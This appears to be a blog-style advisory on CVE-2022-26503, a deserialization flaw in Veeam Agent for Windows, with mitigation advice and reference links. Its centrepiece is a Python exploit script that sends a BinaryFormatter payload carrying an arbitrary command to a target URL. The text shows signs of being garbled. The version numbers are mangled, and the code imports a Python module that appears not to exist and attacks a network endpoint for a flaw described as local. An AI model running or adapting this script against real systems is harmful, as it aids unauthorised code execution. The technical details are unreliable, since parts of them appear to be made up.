CVE-2022-26503 - Deserialization Vulnerability in Veeam Agent for Windows Leads to Local System Privileges Exploit

The Common Vulnerabilities and Exposures (CVE) project has assigned the identifier CVE-2022-26503 to a critical deserialization vulnerability discovered in Veeam Agent for Windows (VAW) versions 2., 2.1, 2.2, 3..2, 4.x, and 5.x. This security flaw allows local users to run arbitrary code with local system privileges, which can lead to unauthorized access and control of the affected system.

In this long-read post, we will present details about the exploit, including a code snippet to demonstrate the vulnerability, and provide links to original references and resources that will help you mitigate this issue.

Exploit Details

Deserialization vulnerabilities occur when untrusted data is deserialized, potentially leading to remote code execution (RCE). In the context of the Veeam Agent for Windows, the vulnerability stems from the application's improper handling of deserialization processes. This issue could enable an attacker with local access to the VAW server to execute arbitrary code with elevated privileges, which could lead to the compromise of the targeted system.

Code Snippet

The following Python code snippet demonstrates how an attacker might exploit the deserialization vulnerability in Veeam Agent for Windows:

import sys
import requests
from ysoserial_agent import generate_exploit

def exploit_vaw(target_url, command):
    payload = generate_exploit('BinaryFormatter', command)
    headers = {'Content-Type': 'application/octet-stream'}
    response = requests.post(target_url, data=payload, headers=headers)

    if response.status_code == 200:
        print("Exploit successfully executed.")
    else:
        print("Exploit failed. Check the target URL and try again.")

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print("Usage: python3 CVE-2022-26503.py <target_url> <command>")
    else:
        exploit_vaw(sys.argv[1], sys.argv[2])

Please note that this code snippet is for educational purposes only and should not be used maliciously.

Mitigation

Veeam Software has already released a patch for affected VAW versions to address the vulnerability. Users are strongly advised to update their Veeam Agent for Windows to the latest version immediately to ensure the security of their systems. The patch can be downloaded from Veeam's official website at https://www.veeam.com/downloads.html.

Additionally, security best practices such as restricting user access and permissions on critical systems and regularly updating and patching software can help in mitigating the risk associated with such vulnerabilities.

For more information about CVE-2022-26503, you can refer to the following resources

1. CVE-2022-26503 entry on the MITRE CVE List: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-26503
2. Veeam Knowledge Base article addressing the vulnerability: https://www.veeam.com/knowledge-base.html (search for "CVE-2022-26503")
3. Information about the ysoserial.net tool used in the code snippet: https://github.com/pwntester/ysoserial.net
4. Veeam Agent for Windows download and update page: https://www.veeam.com/downloads.html

Conclusion

CVE-2022-26503 is a serious vulnerability that can lead to unauthorized access and control of affected systems through the execution of arbitrary code with local system privileges. Ensuring that the Veeam Agent for Windows is updated to the latest patched version and adhering to security best practices can help safeguard against potential exploitation of this vulnerability.

Timeline

Published on: 03/17/2022 17:15:00 UTC
Last modified on: 03/23/2022 19:06:00 UTC